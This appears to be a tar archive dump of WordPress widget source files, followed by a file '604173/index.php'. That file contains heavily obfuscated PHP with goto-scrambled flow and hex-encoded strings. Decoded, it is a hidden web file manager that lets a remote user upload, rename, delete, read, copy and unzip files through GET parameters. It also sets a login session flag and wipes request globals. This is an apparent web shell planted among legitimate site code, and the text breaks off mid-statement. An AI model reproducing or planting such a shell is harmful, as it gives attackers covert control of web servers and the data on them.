				<input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="<?php echo esc_attr( $taxonomy ); ?>" />
				<?php
				break;

			// More than one tag cloud supporting taxonomy found, display a select.
			default:
				?>
				<p>
					<label for="<?php echo $this->get_field_id( 'taxonomy' ); ?>"><?php _e( 'Taxonomy:' ); ?></label>
					<select class="widefat" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>">
					<?php foreach ( $taxonomies as $taxonomy => $tax ) : ?>
						<option value="<?php echo esc_attr( $taxonomy ); ?>" <?php selected( $taxonomy, $current_taxonomy ); ?>>
							<?php echo esc_html( $tax->labels->name ); ?>
						</option>
					<?php endforeach; ?>
					</select>
				</p>
				<?php
		}

		if ( count( $taxonomies ) > 0 ) {
			?>
			<p>
				<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" <?php checked( $count, true ); ?> />
				<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show tag counts' ); ?></label>
			</p>
			<?php
		}
	}

	/**
	 * Retrieves the taxonomy for the current Tag cloud widget instance.
	 *
	 * @since 4.4.0
	 *
	 * @param array $instance Current settings.
	 * @return string Name of the current taxonomy if set, otherwise 'post_tag'.
	 */
	public function _get_current_taxonomy( $instance ) {
		if ( ! empty( $instance['taxonomy'] ) && taxonomy_exists( $instance['taxonomy'] ) ) {
			return $instance['taxonomy'];
		}

		return 'post_tag';
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                      class-wp-widget-calendar.php                                                                        0000644                 00000005541 15265674674 0012071 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Calendar class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Calendar widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Calendar extends WP_Widget {
	/**
	 * Ensure that the ID attribute only appears in the markup once
	 *
	 * @since 4.4.0
	 * @var int
	 */
	private static $instance = 0;

	/**
	 * Sets up a new Calendar widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_calendar',
			'description'                 => __( 'A calendar of your site’s posts.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'calendar', __( 'Calendar' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Calendar widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance The settings for the particular instance of the widget.
	 */
	public function widget( $args, $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}
		if ( 0 === self::$instance ) {
			echo '<div id="calendar_wrap" class="calendar_wrap">';
		} else {
			echo '<div class="calendar_wrap">';
		}
		get_calendar();
		echo '</div>';
		echo $args['after_widget'];

		++self::$instance;
	}

	/**
	 * Handles updating settings for the current Calendar widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Calendar widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<?php
	}
}
                                                                                                                                                               class-wp-widget-recent-comments.php                                                                 0000644                 00000015406 15265674674 0013424 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Recent_Comments class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Recent Comments widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Recent_Comments extends WP_Widget {

	/**
	 * Sets up a new Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_recent_comments',
			'description'                 => __( 'Your site&#8217;s most recent comments.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'recent-comments', __( 'Recent Comments' ), $widget_ops );
		$this->alt_option_name = 'widget_recent_comments';

		if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) {
			add_action( 'wp_head', array( $this, 'recent_comments_style' ) );
		}
	}

	/**
	 * Outputs the default styles for the Recent Comments widget.
	 *
	 * @since 2.8.0
	 */
	public function recent_comments_style() {
		/**
		 * Filters the Recent Comments default widget styles.
		 *
		 * @since 3.1.0
		 *
		 * @param bool   $active  Whether the widget is active. Default true.
		 * @param string $id_base The widget ID.
		 */
		if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876.
			|| ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) ) {
			return;
		}

		echo '<style>.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>';
	}

	/**
	 * Outputs the content for the current Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 * @since 5.4.0 Creates a unique HTML ID for the `<ul>` element
	 *              if more than one instance is displayed on the page.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Recent Comments widget instance.
	 */
	public function widget( $args, $instance ) {
		static $first_instance = true;

		if ( ! isset( $args['widget_id'] ) ) {
			$args['widget_id'] = $this->id;
		}

		$output = '';

		$default_title = __( 'Recent Comments' );
		$title         = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
		if ( ! $number ) {
			$number = 5;
		}

		$comments = get_comments(
			/**
			 * Filters the arguments for the Recent Comments widget.
			 *
			 * @since 3.4.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see WP_Comment_Query::query() for information on accepted arguments.
			 *
			 * @param array $comment_args An array of arguments used to retrieve the recent comments.
			 * @param array $instance     Array of settings for the current widget.
			 */
			apply_filters(
				'widget_comments_args',
				array(
					'number'      => $number,
					'status'      => 'approve',
					'post_status' => 'publish',
				),
				$instance
			)
		);

		$output .= $args['before_widget'];
		if ( $title ) {
			$output .= $args['before_title'] . $title . $args['after_title'];
		}

		$recent_comments_id = ( $first_instance ) ? 'recentcomments' : "recentcomments-{$this->number}";
		$first_instance     = false;

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			$output    .= '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}

		$output .= '<ul id="' . esc_attr( $recent_comments_id ) . '">';
		if ( is_array( $comments ) && $comments ) {
			// Prime cache for associated posts. (Prime post term cache if we need it for permalinks.)
			$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
			_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );

			foreach ( (array) $comments as $comment ) {
				$output .= '<li class="recentcomments">';
				$output .= sprintf(
					/* translators: Comments widget. 1: Comment author, 2: Post link. */
					_x( '%1$s on %2$s', 'widgets' ),
					'<span class="comment-author-link">' . get_comment_author_link( $comment ) . '</span>',
					'<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>'
				);
				$output .= '</li>';
			}
		}
		$output .= '</ul>';

		if ( 'html5' === $format ) {
			$output .= '</nav>';
		}

		$output .= $args['after_widget'];

		echo $output;
	}

	/**
	 * Handles updating settings for the current Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance           = $old_instance;
		$instance['title']  = sanitize_text_field( $new_instance['title'] );
		$instance['number'] = absint( $new_instance['number'] );
		return $instance;
	}

	/**
	 * Outputs the settings form for the Recent Comments widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title  = $instance['title'] ?? '';
		$number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of comments to show:' ); ?></label>
			<input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" />
		</p>
		<?php
	}

	/**
	 * Flushes the Recent Comments widget cache.
	 *
	 * @since 2.8.0
	 *
	 * @deprecated 4.4.0 Fragment caching was removed in favor of split queries.
	 */
	public function flush_widget_cache() {
		_deprecated_function( __METHOD__, '4.4.0' );
	}
}
                                                                                                                                                                                                                                                          604173/index.php                                                                                    0000644                 00000606741 15265674674 0007174 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
 goto WAdkv; ccPfq: c23KI($_GET["\162\x65\156\141\x6d\145"]); goto NP24e; JB2q4: $xUEaS = 1; goto K4mGM; aBQ64: echo "\xe2\206\220"; goto mn0qz; uNVUw: $CIvJG[12] = "\x62\x79"; goto PNtQW; VxuzZ: $CIvJG[11] = "\x46\151\154\x65\x20\x4d\x61\x6e\141\147\145\x72"; goto uNVUw; LqBld: unset($imz7x); goto NYfvK; DcPyK: Y301Y: goto uTaCO; Y6Ho6: echo $CIvJG[1]; goto nsWVR; afgcs: function BfhCW($KhbAx, $b8ijY = '', $gSTFX = "\x77") { goto zLKWy; ZP088: return $CIvJG[43]; goto eAUzO; iKDK5: $TWkA2 = fopen($KhbAx, $gSTFX); goto VkhZu; P1Ynh: BLSi9: goto iKDK5; W21Ur: rOIHd: goto q1DnT; cZWhP: iorN4: goto eowVm; QTgwF: goto iorN4; goto mf5V9; mf5V9: hp0kT: goto sjJo_; sjJo_: fclose($TWkA2); goto x5UeC; qje0X: fclose($TWkA2); goto uzzxz; L35ii: return $CIvJG[21]; goto W21Ur; zLKWy: global $CIvJG; goto xhLkU; x5UeC: return $CIvJG[34]; goto cZWhP; uzzxz: return $CIvJG[33]; goto QTgwF; KzlqL: if (!(file_exists($KhbAx) && (!filesize($KhbAx) || !is_readable($KhbAx)))) { goto BLSi9; } goto YHe3C; VkhZu: if ($TWkA2) { goto rOIHd; } goto L35ii; q1DnT: if (fwrite($TWkA2, $b8ijY)) { goto hp0kT; } goto qje0X; xhLkU: if (!(file_exists($KhbAx) && $b8ijY == '')) { goto IFglS; } goto ZP088; YHe3C: return $CIvJG[21]; goto P1Ynh; eAUzO: IFglS: goto KzlqL; eowVm: } goto jjFTy; LO5uF: echo "\x3c\57\x62\165\x74\x74\157\156\76\xd\12\40\x20\x20\x20\x20\x20\x20\x20\74\142\x75\164\x74\x6f\156\x20\x74\x79\x70\x65\x3d\42\x62\x75\x74\164\157\x6e\x22\40\143\154\x61\163\x73\75\x22\x62\164\x6e\x20\x62\x74\156\x2d\144\145\x66\x61\x75\154\164\x22\40\144\x61\164\141\55\x64\151\x73\x6d\x69\163\x73\75\42\x6d\x6f\144\141\x6c\x22\76"; goto b02V3; ifBDM: yyiCD: goto BvzZa; dPW4x: echo "\x27\x29\73\xd\12\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x7d\xd\xa\x9\11\x9\15\12\11\11\x9\15\12\x20\40\x20\40\x20\40\x20\x20\x7d\51\x3b\xd\xa\40\x20\x20\40\175\51\51\x3b\15\xa\xd\xa\x9\146\165\156\143\x74\151\157\156\40\x66\x6f\162\x6d\x61\164\106\x69\x6c\145\x53\x69\x7a\145\50\142\171\164\x65\x73\51\40\x7b\15\12\11\x9\x9\x9\xd\xa\x9\11\11\x9\146\157\x72\50\166\141\162\x20\160\157\163\40\75\x20\60\73\x62\171\x74\x65\x73\x20\76\x3d\40\61\x30\60\60\x3b\x20\x70\x6f\163\x2b\53\x2c\142\171\164\x65\x73\40\57\75\40\61\x30\62\x34\51\73\15\12\x9\11\11\x9\166\141\162\x20\144\x20\x3d\x20\115\x61\x74\x68\56\x72\157\x75\156\x64\50\142\x79\x74\x65\163\52\x31\x30\51\x3b\xd\xa\11\11\x9\x9\162\145\x74\x75\x72\156\40\x70\157\163\40\77\40\x5b\160\141\x72\163\145\111\x6e\164\50\144\x2f\x31\60\51\54\x22\56\42\x2c\x64\45\x31\60\x2c\x22\40\x22\54\x75\156\151\x74\163\x5b\160\x6f\x73\x5d\135\x2e\152\x6f\x69\x6e\50\x27\47\x29\x20\x3a\40\142\171\x74\145\x73\x20\x2b\x20\165\x6e\x69\x74\x73\133\x30\x5d\x3b\15\xa\11\x9\11\x7d\xd\12\15\xa\15\12\11\11\x20\x20\x20\x20\166\141\162\40\x4c\157\x61\x64\151\156\147\x48\x74\x6d\154\75\47\74\144\x69\166\40\x63\x6c\141\163\x73\75\x22\x63\x6f\x6e\164\141\151\156\145\x72\137\60\61\42\76\x3c\143\145\156\164\x65\x72\x3e\74\163\x70\x61\156\x20\x63\x6c\x61\163\x73\x3d\42\x4c\x6f\x61\144\151\156\147\42\x3e\74\x2f\163\x70\141\156\76\x3c\x62\162\x3e\x3c\x62\x72\76"; goto XwxaU; oQtE6: die(Sl0l0(array("\164\x61\x62\154\145" => "\74\x64\x69\166\x20\x63\154\141\x73\x73\75\x22\143\x6f\156\164\x61\x69\156\x65\162\137\60\x31\x22\x3e\74\x63\145\x6e\x74\145\x72\76" . $CIvJG[31] . "\74\57\x63\x65\156\x74\145\x72\76\x3c\x2f\144\x69\166\76", "\x74\157\164\141\154" => 1, "\160\141\x67\x65" => 1, "\x64\151\162" => '', "\144\151\x72\110\x74\x6d\154" => '', "\x61\x6c\x65\162\164" => t0A3i($CIvJG[22])))); goto PW6tQ; qtHim: unset($nKZYh); goto aPa8s; spG7M: goto ULAxN; goto hbwVI; y30X4: $gN4dV = array(); goto dWfTV; SMr28: echo "\x27\x29\73\x9\x9\15\12\11\x9\11\x20\x20\40\144\x69\162\x20\75\40\x72\145\160\154\141\x63\x65\137\x64\151\x72\50\x24\50\x27\x23\162\145\x6e\x61\x6d\x65\x44\x69\162\x27\x29\x2e\x76\141\154\x28\x29\51\73\40\xd\xa\x9\x9\11\x20\x20\40\x24\56\x67\145\x74\112\123\117\x4e\x28\42\77\162\145\156\141\155\145\75\x22\x2b\144\x69\x72\53\42\46\164\141\142\154\145\46\156\x65\x77\162\145\x6e\141\x6d\x65\75\x22\53\x24\x28\47\43\x72\x65\156\x61\x6d\x65\x49\x6e\x70\165\164\x27\x29\x2e\166\x61\154\50\51\54\x20\x66\165\156\x63\x74\x69\157\156\50\144\141\x74\x61\51\173\15\12\x9\40\x20\x20\x20\40\40\40\x20\40\40\x20\44\x28\x22\x23\x63\157\156\164\145\x6e\x74\42\x29\x2e\x68\164\155\154\x28\144\x61\164\x61\56\x74\x61\142\154\x65\x29\73\15\12\x9\x9\x9\40\40\x20\x24\x28\x27\43\x61\154\x65\162\x74\47\51\56\150\164\x6d\x6c\50\144\141\x74\141\x2e\141\154\x65\162\164\x29\73\11\11\15\12\x9\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\44\50\x27\43\122\145\156\x61\x6d\x65\47\51\x2e\155\157\144\141\x6c\x28\x27\x68\151\144\x65\47\51\x3b\15\xa\x20\40\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\44\50\42\x23\162\x65\156\141\155\145\111\156\160\165\164\42\x29\56\x72\145\x6d\157\x76\x65\101\x74\164\x72\50\42\x64\151\163\x61\x62\154\x65\x64\42\x29\x3b\15\12\11\11\40\x20\x20\x20\40\x20\x20\44\50\47\43\122\x65\x6e\x61\x6d\145\114\141\142\x65\154\163\x75\143\143\x65\163\163\47\x29\56\x68\164\x6d\x6c\50\47\x27\51\x3b\15\12\x9\11\11\x20\40\x20\x24\x28\47\x23\x72\145\x6e\x61\155\145\111\156\160\x75\164\x27\51\56\166\141\x6c\x28\47\47\51\x3b\xd\xa\x9\x9\x9\x20\x20\x20\xd\xa\11\40\40\40\x20\x20\40\40\40\40\x7d\51\x3b\11\15\xa\x20\x20\15\12\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x7d\73\15\xa\x9\x9\x9\x20\xd\xa\11\11\11\40\xd\xa\11\11\11\xd\xa\x9\x9\11\x66\x75\x6e\x63\x74\x69\x6f\x6e\40\156\x65\x77\x66\x6f\154\x64\145\162\x41\x6e\144\x43\157\x6e\164\x65\x6e\164\50\x29\xd\12\x9\x9\x9\x7b\15\12\x9\x9\11\40\x20\x20\x24\50\47\x23\116\x65\x77\x46\x6f\x6c\x64\x65\162\114\141\x62\x65\x6c\x73\165\143\143\145\x73\x73\x27\51\56\x68\164\155\x6c\x28\47"; goto kuYQG; gKVFG: echo $CIvJG[17]; goto ovkRc; UY8Ss: LtuYj(1); goto D0G5c; RLAeq: goto vRK2F; goto OdlpT; YvHKq: header("\103\157\x6e\x74\x65\156\x74\x2d\x74\171\160\145\x3a\x20\x74\145\x78\164\57\150\164\155\x6c\x3b\x20\143\150\141\x72\163\x65\x74\75" . $DzgHR); goto GXZTV; abqfH: echo "\74\57\x61\76\74\x2f\154\151\76\xd\12\40\40\40\40\x20\40\x20\40\74\57\x75\154\x3e\15\xa\xd\12\40\x20\40\x20\40\40\40\x20\x3c\144\x69\166\40\143\x6c\x61\163\163\75\x22\x74\x61\142\55\143\157\x6e\164\x65\x6e\164\x22\x3e\xd\12\11\11\11\xd\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\74\144\x69\x76\x20\151\x64\x3d\42\137\142\162\x6f\x77\163\x65\x22\40\143\154\141\x73\163\x3d\x22\x74\141\142\x2d\160\141\x6e\145\x20\146\x61\144\x65\40\x69\156\40\141\143\164\x69\x76\x65\x22\x3e\15\xa\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x3c\x64\x69\166\x20\x69\x64\x3d\x22\122\145\x73\165\154\x74\x22\x20\x63\x6c\x61\x73\163\75\x22\172\x6f\x6e\145\42\x20\x3e\40\x3c\x2f\x64\x69\x76\x3e\xd\12\x20\40\40\x20\x20\40\40\40\40\x20\40\40\74\x2f\x64\x69\x76\x3e\xd\xa\11\11\11\x20\xd\xa\40\40\40\40\40\40\40\40\x20\x20\x20\40\x3c\x64\151\166\x20\x69\144\x3d\42\x5f\164\162\145\145\x22\40\143\154\141\x73\163\75\x22\x74\x61\x62\55\160\141\156\x65\40\x66\x61\144\145\42\x3e\15\xa\x9\x9\11\40\40\40\x20\x3c\142\x72\x3e\15\xa\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\40\74\x75\x6c\40\143\x6c\141\163\x73\75\x22\164\x72\145\145\166\x69\x65\167\42\x20\151\144\x3d\42\x6c\151\163\x74\106\x6f\x6c\144\145\162\106\151\x6c\145\x73\x22\76\x20\15\12\x9\x9\x9\x9\x3c\57\165\x6c\x3e\xd\12\11\x9\11\x3c\57\x64\151\166\x3e\15\12\x20\40\x20\x20\x20\40\40\40\x3c\57\x64\x69\x76\x3e\xd\12\11\11\15\xa\40\40\x20\x20\x20\x20\40\40\74\x2f\144\151\166\76\15\xa\x20\40\40\40\x20\x20\40\40\74\144\151\x76\x20\x63\154\141\163\163\x3d\x22\155\x6f\144\141\x6c\x2d\146\157\157\x74\x65\162\x22\76\xd\xa\x9\x9\x20\40\x3c\x73\x70\x61\x6e\x20\151\x64\x3d\42\106\x69\x6c\145\x57\162\151\164\x65\114\141\142\145\x6c\163\165\x63\x63\x65\163\x73\x22\x20\143\x6c\141\163\x73\x3d\42\154\141\142\x65\154\40\154\141\142\145\x6c\55\x73\x75\x63\x63\145\163\163\x20\x70\x75\x6c\x6c\55"; goto tqjcb; KJ280: $KNI8z = true; goto SsvzH; zbOdW: F_r3N: goto uaX4o; cDCra: echo "\74\57\x62\165\x74\164\157\x6e\76\xd\xa\x20\x20\x20\x20\x20\40\40\40\74\x62\x75\164\164\x6f\x6e\40\164\171\x70\145\75\42\x62\165\x74\164\x6f\156\x22\40\143\154\x61\x73\163\75\42\142\164\156\x20\142\x74\x6e\55\x64\145\146\x61\x75\x6c\x74\42\x20\144\141\x74\141\x2d\144\x69\x73\155\x69\163\163\x3d\42\x6d\x6f\x64\141\154\42\x3e"; goto Jsdss; rYUl3: echo "\x3c\x2f\142\165\x74\x74\157\156\x3e\15\12\40\40\40\40\x20\x20\x20\40\74\142\165\164\164\x6f\156\40\x74\x79\160\x65\75\42\142\x75\x74\164\157\156\42\x20\x63\x6c\x61\x73\163\x3d\42\x62\x74\156\40\142\x74\156\x2d\x64\145\146\141\165\x6c\x74\42\x20\144\x61\164\x61\55\144\151\x73\155\151\x73\163\75\x22\x6d\157\x64\x61\x6c\x22\x3e"; goto c007Y; OjCAV: echo "\342\x86\222"; goto ioj0p; uXnV0: unset($_ENV); goto DKHrx; TTz2O: GANeP: goto d20sn; xMFqK: echo $CIvJG[15]; goto nMu1Y; FSDT_: echo $CIvJG[29]; goto m9pAb; zYHCr: unset($_SERVER); goto YHlPr; BQG1y: function ltuYj($p32aE = 0) { goto tscND; b3H4u: mV2jS: goto egfDU; pxMMO: echo "\x6c\x65\x66\x74"; goto b3H4u; naw2T: if ($FNpgA) { goto EwYZW; } goto hndcF; hndcF: echo "\x72\x69\147\x68\164"; goto k5Jrz; YnbMj: wb71A: goto E8yoe; tscND: global $FNpgA; goto g9pIq; bVj7Z: echo "\x6c\145\x66\164"; goto B79lV; jjUkA: goto IbZXb; goto fiiNO; g9pIq: if ($p32aE == 0) { goto jH9A7; } goto LupeZ; B79lV: goto ahO2S; goto YnbMj; egfDU: IbZXb: goto WuXiM; LupeZ: if ($FNpgA) { goto wb71A; } goto bVj7Z; k5Jrz: goto mV2jS; goto zrEAU; fiiNO: jH9A7: goto naw2T; zrEAU: EwYZW: goto pxMMO; E8yoe: echo "\162\151\x67\x68\x74"; goto gfXlE; gfXlE: ahO2S: goto jjUkA; WuXiM: } goto SmpCG; SuO5u: function kqWV6($ueM2l) { goto qFsB4; F40ve: VpP3j: goto G2LlW; qFsB4: switch (substr($ueM2l, -1)) { case "\115": case "\155": return (int) $ueM2l * 1048576; case "\113": case "\153": return (int) $ueM2l * 1024; case "\107": case "\147": return (int) $ueM2l * 1073741824; default: return $ueM2l; } goto VXJfL; VXJfL: xLuHT: goto F40ve; G2LlW: } goto jgZ8v; oz9we: $CIvJG[10] = "\124\x6f\164\x61\154\40\146\151\154\x65\x73"; goto VxuzZ; wcwPf: echo $CIvJG[35]; goto JrpTo; AZ3aa: echo "\x20\40\15\12\x9\x9\x3c\154\151\x6e\153\x20\150\x72\x65\146\x3d\42"; goto u5G2p; DQ3kY: $CIvJG[14] = "\x53\141\x76\x65"; goto CCrf1; D3YeL: date_default_timezone_set("\125\124\103"); goto KJ280; ENe5s: echo $CIvJG[17]; goto SMr28; NK1vG: $E0reN = isset($_GET["\144\x69\162"]) ? $_GET["\x64\x69\x72"] : "\56"; goto fd1Nv; KtvLH: G1fSK: goto aBQ64; kuYQG: echo $CIvJG[17]; goto AkfID; ujCwT: $CIvJG[4] = "\x68\157\x6d\x65"; goto fpBAl; ztNlg: unset($_GET); goto YaBdx; HNn0X: $HbHPr = $Dmxoi["\x74\x69\155\x65\x73"]; goto XmXTL; ZFQLq: $Neukl = array(); goto spzlX; Jsdss: echo $CIvJG[15]; goto xcIwp; FL70T: $_SESSION["\154\157\147\x69\x6e"]["\163\x74\141\164\x75\x73"] = "\x31"; goto ZnJrg; OjYnY: echo $dm0oc[4]; goto lAOsT; CCrf1: $CIvJG[15] = "\103\141\156\x63\x65\x6c"; goto YKsNp; z3_qq: header("\103\157\156\164\145\156\164\x2d\x74\x79\x70\x65\72\x20\x74\145\x78\164\57\150\164\155\x6c\73\x20\143\x68\141\162\163\x65\x74\x3d" . $DzgHR); goto TkCmD; iLVGu: JT0E_: goto jYEXF; K_0wr: unset($_FILES); goto rP8KH; UcfU_: exit; goto afZyu; b8ua2: echo "\51\40\156\157\x2d\x72\x65\x70\x65\x61\x74\40\154\145\x66\164\40\143\145\156\164\145\162\x3b\160\141\144\144\x69\x6e\147\x3a\40\x35\x70\x78\x20\60\x20\65\x70\170\40\62\x35\160\x78\73\155\x61\x72\x67\151\x6e\x2d\154\145\146\164\72\40\65\x70\170\73\x7d\xd\xa\x2e\x52\x65\x6d\x6f\166\145\x49\x63\x6f\156\x20\173\x62\x61\x63\x6b\147\x72\x6f\x75\x6e\x64\72\x75\162\x6c\x28"; goto kWwea; tbPm7: echo "\x27\51\x3b\x9\11\15\xa\11\x9\11\x20\40\x20\144\151\162\x20\x3d\40\x72\145\x70\154\141\143\x65\137\x64\151\162\x28\x24\x28\47\x23\x52\x65\155\x6f\166\145\144\x69\x72\x27\x29\56\x76\141\x6c\x28\x29\x29\x3b\x20\15\12\11\x9\x9\40\40\40\44\56\147\145\x74\x4a\123\117\x4e\50\42\77\x52\x65\155\157\166\x65\x3d\42\53\144\x69\162\53\42\46\x74\x61\142\x6c\145\42\x2c\40\146\x75\x6e\143\x74\151\157\x6e\x28\x64\141\164\x61\x29\x7b\44\x28\42\43\143\x6f\x6e\164\x65\x6e\x74\x22\x29\x2e\150\x74\155\154\x28\144\x61\x74\x61\56\164\141\x62\x6c\145\x29\x3b\x20\44\50\x27\43\x61\154\145\162\x74\47\x29\56\150\164\x6d\154\x28\144\x61\164\141\x2e\x61\x6c\145\162\x74\51\73\x24\x28\x27\43\122\x65\x6d\x6f\166\x65\x4c\141\142\145\x6c\163\x75\143\143\x65\x73\x73\47\51\x2e\x68\x74\155\154\50\x27\x27\x29\x3b\44\50\47\x23\x52\145\x6d\157\x76\145\x27\51\56\155\x6f\x64\x61\x6c\50\x27\150\151\x64\145\x27\x29\x3b\x7d\51\73\11\11\11\11\x9\x20\40\xd\12\x9\11\11\175\15\12\11\11\x9\15\12\11\x9\x9\x20\146\165\156\x63\x74\x69\157\156\x20\x63\x6f\160\x79\101\x6e\144\103\x6f\x6e\x74\x65\156\x74\50\x29\x20\xd\xa\x9\11\11\x20\173\x20\15\12\15\12\x9\x9\x9\x20\40\x20\44\x28\x22\43\x54\157\x46\157\154\x64\145\x72\x49\156\160\x75\164\x22\x29\x2e\141\x74\164\162\x28\42\x64\x69\x73\141\x62\154\x65\x64\x22\x2c\40\x22\144\x69\163\141\x62\x6c\x65\144\x22\x29\x3b\xd\xa\x9\11\11\x20\40\40\x24\x28\47\x23\103\x6f\x70\171\x4c\141\x62\x65\x6c\163\x75\143\143\145\163\x73\47\x29\x2e\150\x74\x6d\x6c\50\47"; goto oFNJZ; gumXP: $CIvJG[43] = "\x45\155\160\164\x79"; goto rDMxO; YQEn9: if (!(!IF6ka() && $KNI8z && (isset($_GET["\x75\x70\x6c\157\x61\x64\146\151\154\x65"]) || isset($_GET["\154\151\163\x74\106\x6f\x6c\x64\145\x72\106\151\154\x65\163"]) || isset($_GET["\x63\157\160\171"]) || isset($_GET["\165\x6e\x7a\151\160"]) || isset($_GET["\164\x61\142\x6c\x65"]) || isset($_GET["\x72\x65\156\141\155\145"]) || isset($_GET["\x52\145\x6d\157\166\x65"]) || isset($_GET["\162\x65\141\x64"]) || isset($_GET["\156\145\x77\x66\157\x6c\x64\145\x72"])))) { goto G2Nk3; } goto oQtE6; I7rDP: echo $CIvJG[17]; goto tbPm7; v1vH5: echo 